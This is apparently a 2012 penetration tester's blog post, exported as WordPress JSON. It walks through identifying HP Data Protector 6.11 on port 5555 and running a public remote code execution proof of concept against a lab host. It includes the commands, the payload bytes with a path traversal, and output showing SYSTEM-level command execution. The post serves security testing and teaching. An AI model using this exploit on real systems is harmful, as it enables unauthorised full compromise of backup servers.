{"id":327,"date":"2012-01-18T10:51:49","date_gmt":"2012-01-18T09:51:49","guid":{"rendered":"https:\/\/www.phillips321.co.uk\/?p=327"},"modified":"2012-02-03T09:32:10","modified_gmt":"2012-02-03T08:32:10","slug":"hp-data-protector","status":"publish","type":"post","link":"https:\/\/www.phillips321.co.uk\/2012\/01\/18\/hp-data-protector\/","title":{"rendered":"HP Data Protector <6.20 vulnerability"},"content":{"rendered":"<p>Ok so on a job I found a service running on TCP port 5555 on a few servers. A little probing with netcat allowed me to identify the service(all of the output below is from my own testbed, hence the local 192.168.x.x IPs):<\/p>\n<div class=\"codecolorer-container bash vibrant\" style=\"overflow:auto;white-space:nowrap;width:100%;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/>2<br \/>3<br \/>4<br \/><\/div><\/td><td><div class=\"bash codecolorer\"><span class=\"co4\">root@bt:~# <\/span>nc 192.168.0.18 <span class=\"nu0\">5555<\/span><br \/>\n<span class=\"kw3\">break<\/span><br \/>\nHP Data Protector A.06.11: INET, internal build <span class=\"nu0\">243<\/span>, built on <span class=\"nu0\">25<\/span> August <span class=\"nu0\">2009<\/span>, <span class=\"nu0\">13<\/span>:08<br \/>\n<span class=\"co4\">root@bt:~#<\/span><\/div><\/td><\/tr><\/tbody><\/table><\/div>\n<p>This version is flagged as vulnerable as per this <a href=\"http:\/\/h20000.www2.hp.com\/bizsupport\/TechSupport\/Document.jsp?objectID=c02781143\" target=\"_blank\">HP Security Bulletin<\/a>. A little digging with exploitdb found the following exploits:<\/p>\n<div class=\"codecolorer-container bash vibrant\" style=\"overflow:auto;white-space:nowrap;width:100%;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/>2<br \/>3<br \/>4<br \/>5<br \/>6<br \/>7<br \/>8<br \/>9<br \/>10<br \/>11<br \/>12<br \/>13<br \/>14<br \/>15<br \/>16<br \/>17<br \/>18<br \/>19<br \/><\/div><\/td><td><div class=\"bash codecolorer\"><span class=\"co4\">root@bt:~# <\/span><span class=\"sy0\">\/<\/span>pentest<span class=\"sy0\">\/<\/span>exploits<span class=\"sy0\">\/<\/span>exploitdb<span class=\"sy0\">\/<\/span>searchsploit protector<br \/>\n&nbsp;Description &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Path<br \/>\n<span class=\"re5\">---------------------------------------------------------------------------<\/span> <span class=\"re5\">-------------------------<\/span><br \/>\nHP Data Protector <span class=\"nu0\">4.00<\/span>-SP1b43064 Remote Memory Leak<span class=\"sy0\">\/<\/span>Dos Exploit &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class=\"sy0\">\/<\/span>windows<span class=\"sy0\">\/<\/span>dos<span class=\"sy0\">\/<\/span><span class=\"nu0\">9006<\/span>.py<br \/>\nHP Data Protector <span class=\"nu0\">4.00<\/span>-SP1b43064 Remote Memory Leak<span class=\"sy0\">\/<\/span>Dos <span class=\"br0\">&#40;<\/span>meta<span class=\"br0\">&#41;<\/span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class=\"sy0\">\/<\/span>windows<span class=\"sy0\">\/<\/span>dos<span class=\"sy0\">\/<\/span><span class=\"nu0\">9007<\/span>.rb<br \/>\nHP Data Protector Media Operations <span class=\"nu0\">6.11<\/span> Multiple Modules NULL Pointer Dereference DoS <span class=\"sy0\">\/<\/span>windows<span class=\"sy0\">\/<\/span>dos<span class=\"sy0\">\/<\/span><span class=\"nu0\">14974<\/span>.txt<br \/>\nHP Data Protector Media Operations NULL Pointer Dereference Remote DoS &nbsp; &nbsp; &nbsp;<span class=\"sy0\">\/<\/span>win32<span class=\"sy0\">\/<\/span>dos<span class=\"sy0\">\/<\/span><span class=\"nu0\">15214<\/span>.py<br \/>\nHP Data Protector Media Operations <span class=\"nu0\">6.11<\/span> HTTP Server Remote Integer Overflow DoS <span class=\"sy0\">\/<\/span>windows<span class=\"sy0\">\/<\/span>dos<span class=\"sy0\">\/<\/span><span class=\"nu0\">15307<\/span>.py<br \/>\nHP Data Protector Manager A.06.11 MMD NULL Pointer Dereference Denial of Service <span class=\"sy0\">\/<\/span>windows<span class=\"sy0\">\/<\/span>dos<span class=\"sy0\">\/<\/span><span class=\"nu0\">15649<\/span>.pl<br \/>\nHP Data Protector Manager v6.11 Remote DoS <span class=\"kw1\">in<\/span> RDS Service &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class=\"sy0\">\/<\/span>windows<span class=\"sy0\">\/<\/span>dos<span class=\"sy0\">\/<\/span><span class=\"nu0\">15940<\/span>.pl<br \/>\nHP Data Protector Client EXEC_CMD Remote Code Execution PoC <span class=\"br0\">&#40;<\/span>ZDI-<span class=\"nu0\">11<\/span>-055<span class=\"br0\">&#41;<\/span> &nbsp; &nbsp;<span class=\"sy0\">\/<\/span>windows<span class=\"sy0\">\/<\/span>remote<span class=\"sy0\">\/<\/span><span class=\"nu0\">17339<\/span>.py<br \/>\nHP Data Protector Client EXEC_SETUP Remote Code Execution PoC <span class=\"br0\">&#40;<\/span>ZDI-<span class=\"nu0\">11<\/span>-056<span class=\"br0\">&#41;<\/span> &nbsp;<span class=\"sy0\">\/<\/span>windows<span class=\"sy0\">\/<\/span>remote<span class=\"sy0\">\/<\/span><span class=\"nu0\">17345<\/span>.py<br \/>\nHP Data Protector <span class=\"nu0\">6.20<\/span> Multiple Vulnerabilities &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class=\"sy0\">\/<\/span>windows<span class=\"sy0\">\/<\/span>dos<span class=\"sy0\">\/<\/span><span class=\"nu0\">17458<\/span>.txt<br \/>\nHP Data Protector <span class=\"nu0\">6.20<\/span> EXEC_CMD Buffer Overflow Vulnerability &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class=\"sy0\">\/<\/span>windows<span class=\"sy0\">\/<\/span>dos<span class=\"sy0\">\/<\/span><span class=\"nu0\">17461<\/span>.txt<br \/>\nHP Data Protector <span class=\"nu0\">6.11<\/span> Remote Buffer Overflow + DEP Bypass &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class=\"sy0\">\/<\/span>windows<span class=\"sy0\">\/<\/span>remote<span class=\"sy0\">\/<\/span><span class=\"nu0\">17468<\/span>.py<br \/>\nHP Data Protector Remote Shell <span class=\"kw1\">for<\/span> HP-UX &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class=\"sy0\">\/<\/span>hp-ux<span class=\"sy0\">\/<\/span>remote<span class=\"sy0\">\/<\/span><span class=\"nu0\">17614<\/span>.sh<br \/>\nHP Data Protector Remote Root Shell <span class=\"kw1\">for<\/span> Linux &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class=\"sy0\">\/<\/span>linux<span class=\"sy0\">\/<\/span>remote<span class=\"sy0\">\/<\/span><span class=\"nu0\">17648<\/span>.sh<br \/>\nHP Data Protector Media Operations <span class=\"sy0\">&lt;<\/span>= <span class=\"nu0\">6.20<\/span> Directory Traversal &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class=\"sy0\">\/<\/span>windows<span class=\"sy0\">\/<\/span>webapps<span class=\"sy0\">\/<\/span><span class=\"nu0\">18077<\/span>.txt<br \/>\n<span class=\"co4\">root@bt:~#<\/span><\/div><\/td><\/tr><\/tbody><\/table><\/div>\n<p>Of interest are these 2:<\/p>\n<div class=\"codecolorer-container text vibrant\" style=\"overflow:auto;white-space:nowrap;width:100%;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/>2<br \/><\/div><\/td><td><div class=\"text codecolorer\">HP Data Protector Client EXEC_CMD Remote Code Execution PoC (ZDI-11-055) &nbsp; &nbsp;\/windows\/remote\/17339.py<br \/>\nHP Data Protector Client EXEC_SETUP Remote Code Execution PoC (ZDI-11-056) &nbsp;\/windows\/remote\/17345.py<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n<p>As I dont have time to edit the shellcode in the second example we&#8217;ll just play with the first for now.<br \/>\nThe first just runs a command and replays the output to the terminal, the second attempts to download and run the command.<br \/>\nThe exploit is as simple as just pointing it to the target and executing:<\/p>\n<div class=\"codecolorer-container bash vibrant\" style=\"overflow:auto;white-space:nowrap;width:100%;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/>2<br \/>3<br \/>4<br \/>5<br \/>6<br \/>7<br \/>8<br \/>9<br \/>10<br \/>11<br \/>12<br \/>13<br \/>14<br \/>15<br \/>16<br \/><\/div><\/td><td><div class=\"bash codecolorer\"><span class=\"co4\">root@bt:~# <\/span>python <span class=\"nu0\">17339<\/span>.py 192.168.0.18 <span class=\"nu0\">5555<\/span><br \/>\nSending payload<br \/>\n<span class=\"br0\">&#91;<\/span><span class=\"nu0\">70<\/span>:<span class=\"nu0\">18<\/span><span class=\"br0\">&#93;<\/span> <br \/>\n<span class=\"br0\">&#91;<\/span><span class=\"nu0\">70<\/span>:<span class=\"nu0\">18<\/span><span class=\"br0\">&#93;<\/span> Windows IP Configuration<br \/>\n<span class=\"br0\">&#91;<\/span><span class=\"nu0\">70<\/span>:<span class=\"nu0\">18<\/span><span class=\"br0\">&#93;<\/span> <br \/>\n<span class=\"br0\">&#91;<\/span><span class=\"nu0\">70<\/span>:<span class=\"nu0\">18<\/span><span class=\"br0\">&#93;<\/span> <br \/>\n<span class=\"br0\">&#91;<\/span><span class=\"nu0\">70<\/span>:<span class=\"nu0\">18<\/span><span class=\"br0\">&#93;<\/span> Ethernet adapter INTERNAL_LAN:<br \/>\n<span class=\"br0\">&#91;<\/span><span class=\"nu0\">70<\/span>:<span class=\"nu0\">18<\/span><span class=\"br0\">&#93;<\/span> &nbsp; &nbsp;Connection-specific DNS Suffix &nbsp;. : <br \/>\n<span class=\"br0\">&#91;<\/span><span class=\"nu0\">70<\/span>:<span class=\"nu0\">18<\/span><span class=\"br0\">&#93;<\/span> &nbsp; &nbsp;IP Address. . . . . . . . . . . . : 192.168.100.1<br \/>\n<span class=\"br0\">&#91;<\/span><span class=\"nu0\">70<\/span>:<span class=\"nu0\">18<\/span><span class=\"br0\">&#93;<\/span> &nbsp; &nbsp;Default Gateway . . . . . . . . . : 192.168.100.1<br \/>\n<span class=\"br0\">&#91;<\/span><span class=\"nu0\">70<\/span>:<span class=\"nu0\">18<\/span><span class=\"br0\">&#93;<\/span> Ethernet adapter Bridged:<br \/>\n<span class=\"br0\">&#91;<\/span><span class=\"nu0\">70<\/span>:<span class=\"nu0\">18<\/span><span class=\"br0\">&#93;<\/span> &nbsp; &nbsp;Connection-specific DNS Suffix &nbsp;. : <br \/>\n<span class=\"br0\">&#91;<\/span><span class=\"nu0\">70<\/span>:<span class=\"nu0\">18<\/span><span class=\"br0\">&#93;<\/span> &nbsp; &nbsp;IP Address. . . . . . . . . . . . : 192.168.0.18<br \/>\n<span class=\"br0\">&#91;<\/span><span class=\"nu0\">70<\/span>:<span class=\"nu0\">18<\/span><span class=\"br0\">&#93;<\/span> &nbsp; &nbsp;Subnet Mask . . . . . . . . . . . : 255.255.255.0<br \/>\n<span class=\"br0\">&#91;<\/span><span class=\"nu0\">70<\/span>:<span class=\"nu0\">18<\/span><span class=\"br0\">&#93;<\/span> &nbsp; &nbsp;Default Gateway . . . . . . . . . : 192.168.0.1<br \/>\n<span class=\"co4\">root@bt:~#<\/span><\/div><\/td><\/tr><\/tbody><\/table><\/div>\n<p>A quick look at the shellcode looks like it attempts to run as SYSTEM:<\/p>\n<div class=\"codecolorer-container text vibrant\" style=\"overflow:auto;white-space:nowrap;width:100%;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/>2<br \/>3<br \/>4<br \/>5<br \/><\/div><\/td><td><div class=\"text codecolorer\">\\x00\\x00\\x00\\xa4\\x20\\x32\\x00\\x20\\x66\\x64\\x69\\x73\\x6b\\x79\\x6f\\x75\\x00\\x20\\x30\\x00\\x20\\x53\\x59\\x53\\x54\\x45\\x4d\\x00\\x20\\x66\\x64\\x69\\x73\\x6b\\x79\\x6f\\x75\\x00\\x20\\x43\\x00\\x20\\x32\\x30\\x00\\x20\\x66\\x64\\x69\\x73\\x6b\\x79\\x6f\\x75\\x00\\x20\\x50\\x6f\\x63\\x00\\x20\\x4e\\x54\\x41\\x55\\x54\\x48\\x4f\\x52\\x49\\x54\\x59\\x00\\x20\\x4e\\x54\\x41\\x55\\x54\\x48\\x4f\\x52\\x49\\x54\\x59\\x00\\x20\\x4e\\x54\\x41\\x55\\x54\\x48\\x4f\\x52\\x49\\x54\\x59\\x00\\x20\\x30\\x00\\x20\\x30\\x00\\x20\\x2e\\x2e\\x2f\\x2e\\x2e\\x2f\\x2e\\x2e\\x2f\\x2e\\x2e\\x2f\\x2e\\x2e\\x2f\\x2e\\x2e\\x2f\\x2e\\x2e\\x2f\\x2e\\x2e\\x2f\\x2e\\x2e\\x2f\\x2e\\x2e\\x2f\\x5c\\x77\\x69\\x6e\\x64\\x6f\\x77\\x73\\x5c\\x73\\x79\\x73\\x74\\x65\\x6d\\x33\\x32\\x5c\\x69\\x70\\x63\\x6f\\x6e\\x66\\x69\\x67\\x2e\\x65\\x78\\x65\\x00\\x00<br \/>\n<br \/>\nTranslates into:<br \/>\n<br \/>\n\u00a4 2 fdiskyou 0 SYSTEM fdiskyou C 20 fdiskyou Poc NTAUTHORITY NTAUTHORITY NTAUTHORITY 0 0 ..\/..\/..\/..\/..\/..\/..\/..\/..\/..\/\\windows\\system32\\ipconfig.exe<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n<p>One thing to note is that this will not work on a Win2K box unless you replace \/windows\/ with \/WINNT\/. I quickly edited the shellcode to run the whoami.exe command instead to confirm the useraccount we have exploited:<\/p>\n<div class=\"codecolorer-container bash vibrant\" style=\"overflow:auto;white-space:nowrap;width:100%;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/>2<br \/>3<br \/>4<br \/><\/div><\/td><td><div class=\"bash codecolorer\"><span class=\"co4\">root@bt:~# <\/span>python <span class=\"nu0\">17339<\/span>.py 192.168.0.18 <span class=\"nu0\">5555<\/span><br \/>\nSending payload<br \/>\n<span class=\"br0\">&#91;<\/span><span class=\"nu0\">70<\/span>:<span class=\"nu0\">18<\/span><span class=\"br0\">&#93;<\/span> nt authority\\system<br \/>\n<span class=\"co4\">root@bt:~#<\/span><\/div><\/td><\/tr><\/tbody><\/table><\/div>\n<p>Sweet so it works.<br \/>\n<strong>Afterword<\/strong>, although there is an exploit in metasploit that supposedly works it isnt designed for windows targets and to get it to work you have to bodge it and it still only sends 4 characters, pointless:<\/p>\n<div class=\"codecolorer-container bash vibrant\" style=\"overflow:auto;white-space:nowrap;width:100%;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/>2<br \/>3<br \/>4<br \/>5<br \/>6<br \/>7<br \/>8<br \/>9<br \/>10<br \/>11<br \/>12<br \/>13<br \/><\/div><\/td><td><div class=\"bash codecolorer\">msf &nbsp;exploit<span class=\"br0\">&#40;<\/span>openview_omniback_exec<span class=\"br0\">&#41;<\/span> <span class=\"sy0\">&gt;<\/span> info<br \/>\n<br \/>\n&nbsp; &nbsp; &nbsp; &nbsp;Name: HP OpenView OmniBack II Command Execution<br \/>\n&nbsp; &nbsp; &nbsp;Module: exploit<span class=\"sy0\">\/<\/span>multi<span class=\"sy0\">\/<\/span>misc<span class=\"sy0\">\/<\/span>openview_omniback_exec<br \/>\nSNIP<br \/>\nDescription:<br \/>\n&nbsp; This module uses a vulnerability <span class=\"kw1\">in<\/span> the OpenView Omniback II service <br \/>\n&nbsp; to execute arbitrary commands. This vulnerability was discovered by <br \/>\n&nbsp; DiGiT and his code was used <span class=\"kw2\">as<\/span> the basis <span class=\"kw1\">for<\/span> this module. For <br \/>\n&nbsp; Microsoft Windows targets, due to module limitations, use the <br \/>\n&nbsp; <span class=\"st0\">&quot;unix\/cmd\/generic&quot;<\/span> payload and <span class=\"kw1\">set<\/span> CMD to your command. You can only <br \/>\n&nbsp; pass a small amount of characters <span class=\"br0\">&#40;<\/span><span class=\"nu0\">4<\/span><span class=\"br0\">&#41;<\/span> to the <span class=\"kw3\">command<\/span> line on <br \/>\n&nbsp; Windows.<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n","protected":false},"excerpt":{"rendered":"<p>Ok so on a job I found a service running on TCP port 5555 on a few servers. A little probing with netcat allowed me to identify the service(all of the output below is from my own testbed, hence the local 192.168.x.x IPs): 1234root@bt:~# nc 192.168.0.18 5555 break HP Data Protector A.06.11: INET, internal build [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[4,1],"tags":[134,133,131,130,132],"_links":{"self":[{"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/posts\/327"}],"collection":[{"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/comments?post=327"}],"version-history":[{"count":12,"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/posts\/327\/revisions"}],"predecessor-version":[{"id":349,"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/posts\/327\/revisions\/349"}],"wp:attachment":[{"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/media?parent=327"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/categories?post=327"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/tags?post=327"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}